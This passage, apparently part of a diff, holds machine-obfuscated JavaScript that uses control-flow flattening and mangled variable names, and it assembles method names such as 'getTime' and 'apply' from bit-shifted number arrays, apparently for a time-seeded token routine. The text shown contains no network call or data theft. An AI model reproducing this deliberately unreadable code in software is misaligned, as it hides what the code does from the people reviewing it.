_$hr = 68; + _$gr = 49; + _$ur = 116; + _$pr = [_$xa, _$Fa, _$Ja, _$$a, _$ae, _$re, _$ce, _$ve, _$se, _$ne, _$fe, _$te, _$we, _$de, _$Le, _$Ve, _$qe, _$He, _$xe, _$Be, _$Xe, _$Fe, _$Je, _$$e, _$ar, _$er, _$rr, _$cr, _$vr, _$sr, _$nr, _$fr, _$tr, _$ir, _$or, _$kr, _$br, _$lr, _$hr, _$gr, _$ur, 98, 65, 75, 48, 56, 63, 107, 120, 119, 54, 52, 121, 85, 95, 78, 72, 84, 59, 117, 64, 122, 74, 51, 47, 89, 103, 99]; + _$yr = _$pr; + _$xa = _$Ne; + _$Fa = _$PC; + _$Ja = _$xa[_$Fa]; + _$Ze = _$Ja; + _$xa = _$FM; + _$wr = _$xa; + _$Fa = 1; + _$dr = _$Fa; + _$xa = _$dr; + _$Fa = 1; + _$Ja = _$xa + _$Fa; + _$dr = _$Ja; + _$xa = 1; + _$wr = _$xa; + _$xa = _$BC; + _$Mr = _$xa; + _$xa = _$dr; + _$wr = _$xa; + _$xa = 206; + _$Fa = 202; + _$Ja = 232; + _$$a = 168; + _$ae = 210; + _$re = 218; + _$ce = 202; + _$ve = [_$xa, _$Fa, _$Ja, _$$a, _$ae, _$re, _$ce]; + _$dr = _$ve; + for (_$Ir = 0; _$Ir < _$dr.length; _$Ir++) { + _$xa = _$Mr; + _$Fa = _$dr; + _$Ja = _$Ir; + _$$a = _$Fa[_$Ja]; + _$ae = 1; + _$re = _$$a >> _$ae; + _$ce = _$bW(_$re); + _$ve = _$xa + _$ce; + _$Mr = _$ve + } + _$xa = _$dr; + _$Fa = _$LC; + _$Ja = _$wr; + _$$a = _$xa[_$Fa](_$Ja); + _$dr = _$$a; + _$xa = _$XM; + _$Ar = _$xa; + _$Fa = 1; + _$Sr = _$Fa; + _$xa = _$Sr; + _$Fa = 1; + _$Ja = _$xa + _$Fa; + _$Sr = _$Ja; + _$xa = 1; + _$Ar = _$xa; + _$xa = _$BC; + _$mr = _$xa; + _$xa = _$Sr; + _$Ar = _$xa; + _$xa = 1622016; + _$Fa = 1654784; + _$Ja = 1720320; + _$$a = 1769472; + _$ae = [_$xa, _$Fa, _$Ja, _$$a]; + _$Sr = _$ae; + for (_$Tr = 0; _$Tr < _$Sr.length; _$Tr++) { + _$xa = _$mr; + _$Fa = _$Sr; + _$Ja = _$Tr; + _$$a = _$Fa[_$Ja]; + _$ae = 14; + _$re = _$$a >> _$ae; + _$ce = _$bW(_$re); + _$ve = _$xa + _$ce; + _$mr = _$ve + } + _$xa = _$Sr; + _$Fa = _$LC; + _$Ja = _$Ar; + _$$a = _$xa[_$Fa](_$Ja); + _$Sr = _$$a; + _$xa = Math; + _$Fa = _$mr; + _$Ja = Date; + _$$a = new _$Ja; + _$ae = _$Mr; + _$re = _$$a[_$ae](); + _$ce = 1e3; + _$ve = _$re / _$ce; + _$se = _$xa[_$Fa](_$ve); + _$Re = _$se; + for (_$jr = 0; _$jr < _$Ze; _$jr++) { + _$xa = _$Ne; + _$Fa = _$_C; + _$Ja = _$jr; + _$$a = _$xa[_$Fa](_$Ja); + _$ze = _$$a; + _$xa = _$ze; + _$Fa = _$OC; + _$Ja = _$xa[_$Fa](); + _$$a = _$Re; + _$ae = _$Ja + _$$a; + _$re = _$Ze; + _$ce = _$ae % _$re; + _$Ee = _$ce; + _$xa = _$PW; + _$Fa = _$jr; + _$Ja = _$yr; + _$$a = _$Ee; + _$ae = _$Ja[_$$a]; + _$xa[_$Fa] = _$ae + } + _$xa = []; + _$NY = _$xa; + _$xa = _$J + _$$; + _$Yr = _$xa; + _$Fa = _$Yr; + _$Ja = _$OC; + _$$a = 0; + _$ae = _$Fa[_$Ja](_$$a); + _$re = _$Yr; + _$ce = _$PC; + _$ve = _$re[_$ce]; + _$se = _$ae - _$ve; + _$ne = _$bW(_$se); + _$Ur = _$ne; + for (_$Or = 1; _$Or < _$Yr.length; _$Or++) { + _$xa = _$Yr; + _$Fa = _$OC; + _$Ja = _$Or; + _$$a = _$xa[_$Fa](_$Ja); + _$ae = _$Ur; + _$re = _$OC; + _$ce = _$Or; + _$ve = 1; + _$se = _$ce - _$ve; + _$ne = _$ae[_$re](_$se); + _$fe = _$$a - _$ne; + _$te = _$bW(_$fe); + _$Ur += _$te + } + _$xa = Array; + _$Fa = _$Ur; + _$Ja = _$xa[_$Fa]; + _$$a = _$LC; + _$ae = _$Ja[_$$a]; + _$Cr = _$ae; + for (_$Pr = 0; _$Pr < _$Ne.length; _$Pr++) { + _$xa = _$Ne; + _$Fa = _$_C; + _$Ja = _$Pr; + _$$a = _$xa[_$Fa](_$Ja); + _$Dr = _$$a; + _$xa = _$Dr; + _$Fa = _$OC; + _$Ja = _$xa[_$Fa](); + _$Kr = _$Ja; + _$xa = _$BM; + _$Gr = _$xa; + _$Fa = 1; + _$Nr = _$Fa; + _$xa = _$Nr; + _$Fa = 1; + _$Ja = _$xa + _$Fa; + _$Nr = _$Ja; + _$xa = 1; + _$Gr = _$xa; + _$xa = _$BC; + _$Zr = _$xa; + _$xa = _$Nr; + _$Gr = _$xa; + _$xa = 1589248; + _$Fa = 1835008; + _$Ja = 1835008; + _$$a = 1769472; + _$ae = 1982464; + _$re = [_$xa, _$Fa, _$Ja, _$$a, _$ae]; + _$Nr = _$re; + for (_$zr = 0; _$zr < _$Nr.length; _$zr++) { + _$xa = _$Zr; + _$Fa = _$Nr; + _$Ja = _$zr; + _$$a = _$Fa[_$Ja]; + _$ae = 14; + _$re = _$$a >> _$ae; + _$ce = _$bW(_$re); + _$ve = _$xa + _$ce; + _$Zr = _$ve + } + _$xa = _$Nr; + _$Fa = _$LC; + _$Ja = _$Gr; + _$$a = _$xa[_$Fa](_$Ja); + _$Nr = _$$a; + _$xa = _$Cr; + _$Fa = _$Zr; + _$Ja = _$NY; + _$$a = _$Kr; + _$ae = [_$$a]; + _$xa[_$Fa](_$Ja, _$ae) + } + } else { + _$xa = _$xM; + _$Er = _$xa; + _$Fa = 1; + _$Rr = _$Fa; + _$xa = _$Rr; + _$Fa = 1; + _$Ja = _$xa + _$Fa; + _$Rr = _$Ja; + _$xa = 1; + _$Er = _$xa; + _$xa = _$BC; + _$_r = _$xa; + _$xa = _$Rr; + _$Er = _$xa; + _$xa = 1600; + _$Fa = 2720; + _$Ja = 2784; + _$$a = 2304; + _$ae = 1664; + _$re = 2272; + _$ce = 3328; + _$ve = 3872; + _$se = 2368; + _$ne = 3616; + _$fe = 2432; + _$te = 1728; + _$we = 1568; + _$de = 2592; + _$Le = 2080; + _$Ve = 3552; + _$qe = 2144; + _$He = 2816; + _$xe = 2208; + _$Be = 3264; + _$Xe = 2016; + _$Fe = 3360; + _$Je = 2528; + _$$e = 3808; + _$ar = 3648; + _$er = 2624; + _$rr = 2880; + _$cr = 3488; + _$vr = 3232; + _$sr = 3712; + _$nr = 2752; + _$fr = 3296; + _$tr = 3168; + _$ir = 3584; + _$or = 2464; + _$kr = 3200; + _$br = 3776; + _$lr = 3680; + _$hr = 1632; + _$gr = 1888; + _$ur = 2496; + _$pr = [_$xa, _$Fa, _$Ja, _$$a, _$ae, _$re, _$ce, _$ve, _$se, _$ne, _$fe, _$te, _$we, _$de, _$Le, _$Ve, _$qe, _$He, _$xe, _$Be, _$Xe, _$Fe, _$Je, _$$e, _$ar, _$er, _$rr, _$cr, _$vr, _$sr, _$nr, _$fr, _$tr, _$ir, _$or, _$kr, _$br, _$lr, _$hr, _$gr, _$ur, 1536, 2656, 3104]; + _$Rr = _$pr; + for (_$Lr = 0; _$Lr < _$Rr.length; _$Lr++) { + _$xa = _$_r; + _$Fa = _$Rr; + _$Ja = _$Lr; + _$$a = _$Fa[_$Ja]; + _$ae = 5; + _$re = _$$a >> _$ae; + _$ce = _$bW(_$re); + _$ve = _$xa + _$ce; + _$_r = _$ve + } + _$xa = _$Rr; + _$Fa = _$LC; + _$Ja = _$Er; + _$$a = _$xa[_$Fa](_$Ja); + _$Rr = _$$a; + _$xa = _$_r; + _$Vr = _$xa; + _$xa = []; + _$PW = _$xa; + _$xa = 70; + _$Fa = 80; + _$Ja = 101; + _$$a = 100; + _$ae = 118; + _$re = 67; + _$ce = 108; + _$ve = 106; + _$se = 77; + _$ne = 55; + _$fe = 104; + _$te = 97; + _$we = 79; + _$de = 115; + _$Le = 102; + _$Ve = 87; + _$qe = 76; + _$He = 53; + _$xe = 57; + _$Be = 73; + _$Xe = 110; + _$Fe = 82; + _$Je = 66; + _$$e = 114; + _$ar = 81; + _$er = 71; + _$rr = 88; + _$cr = 83; + _$vr = 111; + _$sr = 61; + _$nr = 90; + _$fr = 112; + _$tr = 109; + _$ir = 105; + _$or = 69; + _$kr = 113; + _$br = 86; + _$lr = 50; + _$hr = 68; + _$gr = 49; + _$ur = 116; + _$pr = [_$xa, _$Fa, _$Ja, _$$a, _$ae, _$re, _$ce, _$ve, _$se, _$ne, _$fe, _$te, _$we, _$de, _$Le, _$Ve, _$qe, _$He, _$xe, _$Be, _$Xe, _$Fe, _$Je, _$$e, _$ar, _$er, _$rr, _$cr, _$vr, _$sr, _$nr, _$fr, _$tr, _$ir, _$or, _$kr, _$br, _$lr, _$hr, _$gr, _$ur, 98, 65, 75, 48, 56, 63, 107, 120, 119, 54, 52, 121, 85, 95, 78, 72, 84, 59, 117, 64, 122, 74, 51, 47, 89, 103, 99]; + _$Fr = _$pr; + _$xa = _$Vr; + _$Fa = _$PC; + _$Ja = _$xa[_$Fa]; + _$qr = _$Ja; + _$xa = _$FM; + _$Jr = _$xa; + _$Fa = 1; + _$$r = _$Fa; + _$xa = _$$r; + _$Fa = 1; + _$Ja = _$xa + _$Fa; + _$$r = _$Ja; + _$xa = 1; + _$Jr = _$xa; + _$xa = _$BC; + _$ac = _$xa; + _$xa = _$$r; + _$Jr = _$xa; + _$xa = 206; + _$Fa = 202; + _$Ja = 232; + _$$a = 168; + _$ae = 210; + _$re = 218; + _$ce = 202; + _$ve = [_$xa, _$Fa, _$Ja, _$$a, _$ae, _$re, _$ce]; + _$$r = _$ve; + for (_$ec = 0; _$ec < _$$r.length; _$ec++) { + _$xa = _$ac; + _$Fa = _$$r; + _$Ja = _$ec; + _$$a = _$Fa[_$Ja]; + _$ae = 1; + _$re = _$$a >> _$ae; + _$ce = _$bW(_$re); + _$ve = _$xa + _$ce; + _$ac = _$ve + } + _$xa = _$$r; + _$Fa = _$LC; + _$Ja = _$Jr; + _$$a = _$xa[_$Fa](_$Ja); + _$$r = _$$a; + _$xa = _$XM; + _$rc = _$xa; + _$Fa = 1; + _$cc = _$Fa; + _$xa = _$cc; + _$Fa = 1; + _$Ja = _$xa + _$Fa; + _$cc = _$Ja; + _$xa = 1; + _$rc = _$xa; + _$xa = _$BC; + _$vc = _$xa; + _$xa = _$cc; + _$rc = _$xa; + _$xa = 1622016; + _$Fa = 1654784; + _$Ja = 1720320; + _$$a = 1769472; + _$ae = [_$xa, _$Fa, _$Ja, _$$a]; + _$cc = _$ae; + for (_$sc = 0; _$sc < _$cc.length; _$sc++) { + _$xa = _$vc; + _$Fa = _$cc; + _$Ja = _$sc; + _$$a = _$Fa[_$Ja]; + _$ae = 14; + _$re = _$$a >> _$ae; + _$ce = _$bW(_$re); + _$ve = _$xa + _$ce; + _$vc = _$ve + } + _$xa = _$cc; + _$Fa = _$LC; + _$Ja = _$rc; + _$$a = _$xa[_$Fa](_$Ja); + _$cc = _$$a; + _$xa = Math; + _$Fa = _$vc; + _$Ja = Date; + _$$a = new _$Ja; + _$ae = _$ac; + _$re = _$$a[_$ae](); + _$ce = 1e3; + _$ve = _$re / _$ce; + _$se = _$xa[_$Fa](_$ve); + _$Br = _$se; + for (_$nc = 0; _$nc < _$qr; _$nc++) { + _$xa = _$Vr; + _$Fa = _$_C; + _$Ja = _$nc; + _$$a = _$xa[_$Fa](_$Ja); + _$Hr = _$$a; + _$xa = _$Hr; + _$Fa = _$OC; + _$Ja = _$xa[_$Fa](); + _$$a = _$Br; + _$ae = _$Ja + _$$a; + _$re = _$qr; + _$ce = _$ae % _$re; + _$xr = _$ce; + _$xa = _$PW; + _$Fa = _$nc; + _$Ja = _$Fr; + _$$a = _$xr; + _$ae = _$Ja[_$$a]; + _$xa[_$Fa] = _$ae + } + _$xa = []; + _$NY = _$xa; + _$xa = _$F + _$X; + _$bc = _$xa; + _$Fa = _$bc; + _$Ja = _$OC; + _$$a = 0; + _$ae = _$Fa[_$Ja](_$$a); + _$re = _$bc; + _$ce = _$PC; + _$ve = _$re[_$ce]; + _$se = _$ae - _$ve; + _$ne = _$bW(_$se); + _$lc = _$ne; + for (_$hc = 1; _$hc < _$bc.length; _$hc++) { + _$xa = _$bc; + _$Fa = _$OC; + _$Ja = _$hc; + _$$a = _$xa[_$Fa](_$Ja); + _$ae = _$lc; + _$re = _$OC; + _$ce = _$hc; + _$ve = 1; + _$se = _$ce - _$ve; + _$ne = _$ae[_$re](_$se); + _$fe = _$$a - _$ne; + _$te = _$bW(_$fe); + _$lc += _$te + } + _$xa = Array; + _$Fa = _$lc; + _$Ja = _$xa[_$Fa]; + _$$a = _$LC; + _$ae = _$Ja[_$$a]; + _$fc = _$ae; + for (_$gc = 0; _$gc < _$Vr.length; _$gc++) { + _$xa = _$Vr; + _$Fa = _$_C; + _$Ja = _$gc; + _$$a = _$xa[_$Fa](_$Ja); + _$tc = _$$a; + _$xa = _$tc; + _$Fa = _$OC; + _$Ja = _$xa[_$Fa](); + _$ic = _$Ja; + _$xa = _$BM; + _$uc = _$xa; + _$Fa = 1; + _$pc = _$Fa; + _$xa = _$pc; + _$Fa = 1; + _$Ja = _$xa + _$Fa; + _$pc = _$Ja; + _$xa = 1; + _$uc = _$xa; + _$xa = _$BC; + _$yc = _$xa; + _$xa = _$pc; + _$uc = _$xa; + _$xa = 1589248; + _$Fa = 1835008; + _$Ja = 1835008; + _$$a = 1769472; + _$ae = 1982464; + _$re = [_$xa, _$Fa, _$Ja, _$$a, _$ae]; + _$pc = _$re; + for (_$wc = 0; _$wc < _$pc.length; _$wc++) { + _$xa = _$yc; + _$Fa = _$pc; + _$Ja = _$wc; + _$$a = _$Fa[_$Ja]; + _$ae = 14; + _$re = _$$a >> _$ae; + _$ce = _$bW(_$re); + _$ve = _$xa + _$ce; + _$yc = _$ve + } + _$xa = _$pc; + _$Fa = _$LC; + _$Ja = _$uc; + _$$a = _$xa[_$Fa](_$Ja); + _$pc = _$$a; + _$xa = _$fc; + _$Fa = _$yc; + _$Ja = _$NY; + _$$a = _$ic; + _$ae = [_$$a]; + _$xa[_$Fa](_$Ja, _$ae) + } + } + return; + case 29: + _$Mc = [25, 26, 19, 27, 2, 16, 28, 18, 29, 11, 17, 30, 31, 12, 32, 33, 7, 14, 34, 13, 35, 10, 36, 9, 0, 37, 38, 4, 6, 39, 24, 40, 8, 20, 41, 3, 22, 23, 5, 21, 42, 15, 1]; + _$Ba += 21; + break; + case 30: + _$iv = _$ov; + _$Ba -= 16; + break; + case 31: + _$dc = _$_ + _$R + _$H + _$x + _$L + _$V + _$q + _$B; + _$Mc = 1; + _$Ba += 2; + break; + case 32: + if (_$Ce + _$De > 0) { + _$xa = _$Ce; + _$Fa = _$Ke; + _$Ja = _$xa + _$Fa; + _$Ke = _$Ja; + _$xa = _$Ce; + _$Fa = _$Ke; + _$Ja = _$xa - _$Fa; + _$De = _$Ja + } + _$Ba -= 2; + break; + case 33: + _$Mc = _$dc; + _$Ba += 3; + break; + case 34: + _$Ic = []; + _$Ba += 21; + break; + case 35: + _$MW = _$oe; + _$Ba -= 26; + break; + case 36: + if (_$De + _$Ke < 0) { + _$xa = _$je; + _$Fa = _$De; + _$Ja = _$Ke; + _$$a = _$Fa * _$Ja; + _$ae = _$xa << _$$a; + _$re = _$je; + _$ce = _$ae >> _$re; + _$Ce = _$ce + } + _$Ba -= 14; + break; + case 37: + _$yv = _$wv; + _$Ba -= 10; + break; + case 38: + if (_$Ce + _$De > 0) { + _$xa = _$De; + _$Fa = 2; + _$Ja = _$xa << _$Fa; + _$De = _$Ja; + _$xa = _$De; + _$Fa = _$Ke; + _$Ja = _$Ke; + _$$a = _$Fa + _$Ja; + _$ae = _$xa >> _$$a; + _$re = _$je; + _$ce = _$ae >> _$re; + _$Ce = _$ce; + _$xa = _$Ce; + _$Fa = _$Ke; + _$Ja = _$xa / _$Fa; + _$Ke = _$Ja + } + _$Ba += 39; + break; + case 39: + if (_$Qv % 2) { + for (_$Ac = 0; _$Ac < _$tv.length; _$Ac++) { + _$xa = _$KW; + _$Fa = _$LC; + _$Ja = _$kY; + _$$a = _$Ac; + _$ae = _$Ja[_$$a]; + _$re = _$tv; + _$ce = _$Ac; + _$ve = _$re[_$ce]; + _$se = _$OC; + _$ne = _$ve[_$se](); + _$fe = _$ae + _$ne; + _$xa[_$Fa](_$fe) + } + } else { + for (_$Ac = _$tv.length - 1; _$Ac >= 0; _$Ac--) { + _$xa = _$KW; + _$Fa = _$LC; + _$Ja = _$kY; + _$$a = _$Ac; + _$ae = _$Ja[_$$a]; + _$re = _$tv; + _$ce = _$Ac; + _$ve = _$re[_$ce]; + _$se = _$OC; + _$ne = _$ve[_$se](); + _$fe = _$ae + _$ne; + _$xa[_$Fa](_$fe) + } + } + _$Ba += 7; + break; + case 40: + _$Sc = false; + _$Ba += 18; + break; + case 41: + _$mc = _$HM; + _$Tc = 1; + _$Ba += 19; + break; + case 42: + _$dc = _$dc * 5; + _$Ba -= 8; + break; + case 43: + for (_$jc = 0; _$jc < _$tv.length; _$jc++) { + _$xa = _$kY; + _$Fa = _$jc; + _$Ja = _$tv; + _$$a = _$jc; + _$ae = _$Ja[_$$a]; + _$re = 1; + _$ce = _$ae & _$re; + _$xa[_$Fa] = _$ce + } + _$Ba += 2; + break; + case 44: + if (_$Yv instanceof Array) { + _$xa = _$qM; + _$Cc = _$xa; + _$Fa = 1; + _$Dc = _$Fa; + _$xa = _$Dc; + _$Fa = 1; + _$Ja = _$xa + _$Fa; + _$Dc = _$Ja; + _$xa = 1; + _$Cc = _$xa; + _$xa = _$BC; + _$Kc = _$xa; + _$xa = _$Dc; + _$Cc = _$xa; + _$xa = 230; + _$Fa = 224; + _$Ja = 216; + _$$a = 210; + _$ae = 198; + _$re = 202; + _$ce = [_$xa, _$Fa, _$Ja, _$$a, _$ae, _$re]; + _$Dc = _$ce; + for (_$Qc = 0; _$Qc < _$Dc.length; _$Qc++) { + _$xa = _$Kc; + _$Fa = _$Dc; + _$Ja = _$Qc; + _$$a = _$Fa[_$Ja]; + _$ae = 1; + _$re = _$$a >> _$ae; + _$ce = _$bW(_$re); + _$ve = _$xa + _$ce; + _$Kc = _$ve + } + _$xa = _$Dc; + _$Fa = _$LC; + _$Ja = _$Cc; + _$$a = _$xa[_$Fa](_$Ja); + _$Dc = _$$a; + _$xa = _$Yv; + _$Fa = _$Kc; + _$Ja = 0; + _$xa[_$Fa](_$Ja) + } else { + _$xa = []; + _$Fa = _$VY = _$xa; + _$Yv = _$Fa + } + _$Ba -= 39; + break; + case 45: + _$Wc = false; + _$Ba -= 21; + break; + case 46: + _$Yv = _$VY; + _$Ba -= 2; + break; + case 47: + for (_$Yc = 0; _$Yc < _$Tc.length; _$Yc++) { + _$xa = _$kv; + _$Fa = _$Tc; + _$Ja = _$Yc; + _$$a = _$Fa[_$Ja]; + _$ae = 1; + _$re = _$$a >> _$ae; + _$ce = _$bW(_$re); + _$ve = _$xa + _$ce; + _$kv = _$ve + } + _$Ba += 4; + break; + case 48: + _$Uc = _$Lv; + _$Ba += 36; + break; + case 49: + _$lW = []; + _$Ba -= 8; + break; + case 50: + for (_$Oc = 0; _$Oc < _$dc.length; _$Oc++) { + _$xa = _$Ic; + _$Fa = _$LC; + _$Ja = _$dc; + _$$a = _$_C; + _$ae = _$Mc; + _$re = _$Oc; + _$ce = _$ae[_$re]; + _$ve = _$Ja[_$$a](_$ce); + _$xa[_$Fa](_$ve) + } + _$Ba += 32; + break; + case 51: + _$Tc = _$Tc.p(_$mc); + _$Ba += 6; + break; + case 52: + for (_$Pc = 0; _$Pc < _$hv.length; _$Pc++) { + _$xa = _$hv; + _$Fa = _$_C; + _$Ja = _$Pc; + _$$a = _$xa[_$Fa](_$Ja); + _$gv = _$$a; + _$xa = _$gv; + _$Fa = _$OC; + _$Ja = _$xa[_$Fa](); + _$uv = _$Ja; + _$xa = _$Pc; + _$Fa = 1; + _$Ja = _$xa & _$Fa; + if (_$Ja) { + _$xa = _$N + _$E + _$z + _$Z; + _$Gc = _$xa; + _$Fa = function(_$a, _$e) { + var _$r, _$c, _$v, _$s, _$n, _$f, _$t, _$i, _$o, _$k, _$b, _$l, _$h, _$g; + for (_$r = 0; _$r < _$a.length; _$r++) { + _$c = _$a; + _$v = _$r; + _$s = _$c[_$v]; + _$n = _$e; + _$f = _$s === _$n; + if (_$f) { + _$c = _$r; + return _$c + } + } + _$c = []; + _$t = _$c; + for (_$o = 0; _$o < 10; _$o++) { + _$c = _$t; + _$v = _$LC; + _$s = _$o; + _$n = 6; + _$f = _$s + _$n; + _$c[_$v](_$f) + } + _$c = _$t; + _$v = 4; + _$s = _$c[_$v]; + _$n = _$t; + _$f = 6; + _$k = _$n[_$f]; + _$b = _$s + _$k; + _$i = _$b; + _$c = _$i; + _$v = _$t; + _$s = 6; + _$n = _$v[_$s]; + _$f = _$c + _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 7; + _$n = _$v[_$s]; + _$f = _$c * _$n; + _$i = _$f; + _$c = _$t; + _$v = 6; + _$s = _$c[_$v]; + _$n = _$t; + _$f = 5; + _$k = _$n[_$f]; + _$b = _$s - _$k; + _$l = 0; + _$h = _$b > _$l; + if (_$h) { + _$c = _$i; + _$v = _$t; + _$s = 3; + _$n = _$v[_$s]; + _$f = _$c + _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 2; + _$n = _$v[_$s]; + _$f = _$c + _$n; + _$k = _$t; + _$b = 5; + _$l = _$k[_$b]; + _$h = _$f - _$l; + _$i = _$h + } else { + _$c = _$i; + _$v = _$t; + _$s = 6; + _$n = _$v[_$s]; + _$f = _$c * _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 2; + _$n = _$v[_$s]; + _$f = _$c - _$n; + _$i = _$f + } + _$c = _$t; + _$v = 8; + _$s = _$i; + _$n = _$t; + _$f = 4; + _$k = _$n[_$f]; + _$b = _$s / _$k; + _$c[_$v] = _$b; + _$c = _$i; + _$v = _$t; + _$s = 6; + _$n = _$v[_$s]; + _$f = _$c - _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 8; + _$n = _$v[_$s]; + _$f = _$c + _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 4; + _$n = _$v[_$s]; + _$f = _$c / _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 6; + _$n = _$v[_$s]; + _$f = _$c - _$n; + if (_$f) { + _$c = _$i; + _$v = _$t; + _$s = 3; + _$n = _$v[_$s]; + _$f = _$c + _$n; + _$i = _$f + } + _$c = _$i; + _$v = _$t; + _$s = 2; + _$n = _$v[_$s]; + _$f = _$c - _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 6; + _$n = _$v[_$s]; + _$f = _$c * _$n; + _$i = _$f; + _$c = _$t; + _$v = 0; + _$s = _$c[_$v]; + _$g = _$s; + _$c = _$t; + _$v = 8; + _$s = _$c[_$v]; + _$n = _$t; + _$f = 5; + _$k = _$n[_$f]; + _$b = _$s - _$k; + _$l = 0; + _$h = _$b > _$l; + if (_$h) { + _$c = _$i; + _$v = _$t; + _$s = 4; + _$n = _$v[_$s]; + _$f = _$c + _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 6; + _$n = _$v[_$s]; + _$f = _$c + _$n; + _$k = _$t; + _$b = 5; + _$l = _$k[_$b]; + _$h = _$f - _$l; + _$i = _$h + } else { + _$c = _$i; + _$v = _$t; + _$s = 0; + _$n = _$v[_$s]; + _$f = _$c * _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 2; + _$n = _$v[_$s]; + _$f = _$c - _$n; + _$i = _$f + } + _$c = _$t; + _$v = 4; + _$s = _$i; + _$n = _$t; + _$f = 5; + _$k = _$n[_$f]; + _$b = _$s - _$k; + _$c[_$v] = _$b; + _$c = _$i; + _$v = _$t; + _$s = 2; + _$n = _$v[_$s]; + _$f = _$c - _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 8; + _$n = _$v[_$s]; + _$f = _$c / _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 2; + _$n = _$v[_$s]; + _$f = _$c - _$n; + _$i = _$f; + _$c = 1; + _$v = -_$c; + return _$v + } + ; + _$Nc = _$Fa; + _$Ja = _$W + _$Y + _$O + _$P + _$U + _$K + _$G + _$Q; + _$Zc = _$Ja; + _$$a = _$Zc; + _$ae = _$PC; + _$re = _$$a[_$ae]; + _$zc = _$re; + _$ce = 0; + _$qc = _$ce; + _$xa = []; + _$Hc = _$xa; + _$xa = _$Gc; + _$Fa = _$PC; + _$Ja = _$xa[_$Fa]; + _$$a = 4; + _$ae = _$Ja / _$$a; + _$Ec = _$ae; + for (_$xc = 0; _$xc < _$Ec; _$xc++) { + _$xa = _$Zc; + _$Fa = _$Gc; + _$Ja = _$_C; + _$$a = _$qc; + _$ae = _$Fa[_$Ja](_$$a); + _$re = _$Nc(_$xa, _$ae); + _$Vc = _$re; + _$qc++; + _$xa = _$Zc; + _$Fa = _$Gc; + _$Ja = _$_C; + _$$a = _$qc; + _$ae = _$Fa[_$Ja](_$$a); + _$re = _$Nc(_$xa, _$ae); + _$Lc = _$re; + _$qc++; + _$xa = _$Zc; + _$Fa = _$Gc; + _$Ja = _$_C; + _$$a = _$qc; + _$ae = _$Fa[_$Ja](_$$a); + _$re = _$Nc(_$xa, _$ae); + _$_c = _$re; + _$qc++; + _$xa = _$Zc; + _$Fa = _$Gc; + _$Ja = _$_C; + _$$a = _$qc; + _$ae = _$Fa[_$Ja](_$$a); + _$re = _$Nc(_$xa, _$ae); + _$Rc = _$re; + _$qc++; + _$xa = _$Hc; + _$Fa = _$xc; + _$Ja = _$Vc; + _$$a = _$zc; + _$ae = _$Ja * _$$a; + _$re = _$zc; + _$ce = _$ae * _$re; + _$ve = _$zc; + _$se = _$ce * _$ve; + _$ne = _$Lc; + _$fe = _$zc; + _$te = _$ne * _$fe; + _$we = _$zc; + _$de = _$te * _$we; + _$Le = _$se + _$de; + _$Ve = _$_c; + _$qe = _$zc; + _$He = _$Ve * _$qe; + _$xe = _$Le + _$He; + _$Be = _$Rc; + _$Xe = _$xe + _$Be; + _$xa[_$Fa] = _$Xe + } + _$xa = _$BC; + _$Ec = _$xa; + for (_$Bc = 0; _$Bc < _$Hc.length; _$Bc++) { + _$xa = _$Hc; + _$Fa = _$Bc; + _$Ja = _$xa[_$Fa]; + _$$a = _$bW(_$Ja); + _$Ec += _$$a + } + _$xa = _$pv; + _$Fa = _$Ec; + _$Ja = _$lW; + _$$a = _$uv; + _$ae = _$Pc; + _$re = _$$a - _$ae; + _$ce = [_$re]; + _$xa[_$Fa](_$Ja, _$ce) + } else { + _$xa = _$VM; + _$Xc = _$xa; + _$Fa = 1; + _$Fc = _$Fa; + _$xa = _$Fc; + _$Fa = 1; + _$Ja = _$xa + _$Fa; + _$Fc = _$Ja; + _$xa = 1; + _$Xc = _$xa; + _$xa = _$BC; + _$Jc = _$xa; + _$xa = _$Fc; + _$Xc = _$xa; + _$xa = 12416; + _$Fa = 14336; + _$Ja = 14336; + _$$a = 13824; + _$ae = 15488; + _$re = [_$xa, _$Fa, _$Ja, _$$a, _$ae]; + _$Fc = _$re; + for (_$$c = 0; _$$c < _$Fc.length; _$$c++) { + _$xa = _$Jc; + _$Fa = _$Fc; + _$Ja = _$$c; + _$$a = _$Fa[_$Ja]; + _$ae = 7; + _$re = _$$a >> _$ae; + _$ce = _$bW(_$re); + _$ve = _$xa + _$ce; + _$Jc = _$ve + } + _$xa = _$Fc; + _$Fa = _$LC; + _$Ja = _$Xc; + _$$a = _$xa[_$Fa](_$Ja); + _$Fc = _$$a; + _$xa = _$pv; + _$Fa = _$Jc; + _$Ja = _$EW; + _$$a = _$uv; + _$ae = _$Pc; + _$re = _$$a + _$ae; + _$ce = [_$re]; + _$xa[_$Fa](_$Ja, _$ce) + } + } + _$Ba += 28; + break; + case 53: + _$wv = _$wv.p(_$yv); + _$Ba -= 38; + break; + case 54: + _$mc = _$Tc; + _$Ba += 37; + break; + case 55: + _$dc = _$Mc; + _$Ba -= 26; + break; + case 56: + for (_$av = 0; _$av < _$_v.length; ) { + _$xa = _$sv; + _$Fa = _$_C; + _$Ja = _$_v; + _$$a = _$_C; + _$ae = _$av; + _$re = _$Ja[_$$a](_$ae); + _$ce = _$OC; + _$ve = _$re[_$ce](); + _$se = 32; + _$ne = _$ve - _$se; + _$fe = _$xa[_$Fa](_$ne); + _$ev = _$fe; + _$te = _$sv; + _$we = _$_C; + _$de = _$_v; + _$Le = _$_C; + _$Ve = _$av; + _$qe = 1; + _$He = _$Ve + _$qe; + _$xe = _$de[_$Le](_$He); + _$Be = _$OC; + _$Xe = _$xe[_$Be](); + _$Fe = 32; + _$Je = _$Xe - _$Fe; + _$$e = _$te[_$we](_$Je); + _$rv = _$$e; + _$xa = _$Lv; + _$Fa = _$ev; + _$Ja = _$rv; + _$xa[_$Fa] = _$Ja; + _$xa = _$av; + _$Fa = 2; + _$Ja = _$xa + _$Fa; + _$av = _$Ja + } + _$Ba -= 8; + break; + case 57: + _$pv = Array[_$kv].p; + 